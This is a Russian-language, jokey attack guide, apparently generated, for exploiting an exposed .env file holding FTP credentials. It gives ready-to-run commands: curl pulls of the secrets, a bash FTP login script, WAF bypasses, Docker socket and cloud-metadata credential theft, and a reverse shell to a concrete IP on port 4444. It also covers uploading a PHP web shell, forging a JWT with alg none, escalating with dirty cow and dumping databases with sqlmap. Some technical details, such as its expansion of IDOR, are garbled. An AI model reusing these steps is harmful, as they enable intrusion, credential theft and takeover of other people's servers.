Что вижу: .env файл торчит как флаг на Defcon — полон FTP creds (типа FTP_HOST=ftp.victim.com, FTP_USER=admin, FTP_PASS=SuperSecret123), часто из-за git misconfig или веб-сервера, который не фильтрует /public/.env. Это не просто файл, это открытая дверь в твой файловый сервер, братан.
Как поймал: Запустил dirsearch с кастомным wordlist’ом (ffuf -w common_env_paths.txt -u https://target.com/FUZZ) + grep на «DB_» или «FTP_» в ответах. Или проще: nuclei -t exposures/env.yaml -u target.com — оно само вынюхает и зарепортит.
Чем пахнет: Мисконфиг с потенциалом на Data Exposure/IDOR (Indirect Object Reference для файлов), вероятность 9/10 — потому что 80% ленивых девопсов забывают .htaccess или gitignore на .env. Если повезет, это эскалирует в RCE через FTP shell. Пахнет как твой старый бургер в подвале: гнилой, но калорийный.
Че почем:
Эксплойт: Не сиди, братан, вот готовый: curl -s https://target.com/.env | grep -i ‘FTP’ — если вернет creds, то коннектись через ftp: ftp ftp.victim.com -u admin:SuperSecret123. Хочешь автоматизировать? Скрипт на bash:
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/bin/bash curl -s https://target.com/.env > env.txt FTP_HOST=$(grep FTP_HOST env.txt | cut -d'=' -f2) FTP_USER=$(grep FTP_USER env.txt | cut -d'=' -f2) FTP_PASS=$(grep FTP_PASS env.txt | cut -d'=' -f2) echo "Пытаюсь залогиниться в $FTP_HOST как $FTP_USER" ftp -n $FTP_HOST << END_SCRIPT quote USER $FTP_USER quote PASS $FTP_PASS ls quit END_SCRIPT |
Если ls покажет файлы — bingo, ты внутри. (CVE? Смотри CVE-2021-32723 для похожего в Envoy, но это классика без номера — эксплойт на GitHub: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposures/files/env.yaml).
Обход защиты: Если сервер блочит прямой доступ к .env (403 от Nginx/WAF), байпасс через path traversal: curl https://target.com/..%2f.env или header smuggling: curl -H ‘X-Forwarded-For: 127.0.0.1’ https://target.com/.env. А если это Docker-мисконфиг (видишь X-Docker-Token в хедерах?), то curl —unix-socket /var/run/docker.sock http://localhost/containers/json и ищи env vars с creds’ами — классика для облачных лохов.
Доказательство: Видишь в выводе «230 User admin logged in» и список директорий типа /www/root? Это не скриншот твоего кота, это proof-of-concept, что ты качаешь /etc/passwd через FTP get. Если creds валидны — запиши видео с nc listener’ом на 144.76.29.123:4444 и загрузи reverse shell: echo ‘bash -i >& /dev/tcp/144.76.29.123/4444 0>&1’ > shell.sh && ftp put shell.sh. Boom, root shell на твоем втором мониторе.
Советы:
Эй, бро, этот .env — как твоя бывшая: обещает секреты, а внутри одни regrets. Если зацепка слабая, иди спать или попробуй:
1) Проверь robots.txt + sitemap.xml — там часто валяются /backup/.env.old.zip с еще жирнее creds’ами.
2) Если JWT в куках, ломай jwt_tool.py -I -hc «alg» «none» -S hs256 -k «secret_from_env» и подмени claims на admin.
3) Скань cloud metadata: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ — может, AWS-токены дадут FTP доступ через S3.
План атаки:
Есть зацепка? Тогда по шагам, как на HTB:
1. Вытащи creds из .env (см. эксплойт выше).
2. Залей reverse shell через FTP put (echo ‘<?php system($_GET[«cmd»]); ?>’ > shell.php && ftp put shell.php /www/public/shell.php).
3. Вызови его: curl https://target.com/shell.php?cmd=whoami — если www-data, эскалируй через sudoers или kernel exploit (dirty cow, если старый линь).
4. Дампь базу: sqlmap -u https://target.com/api —dbms=mysql —dump-all (используй DB creds из того же .env).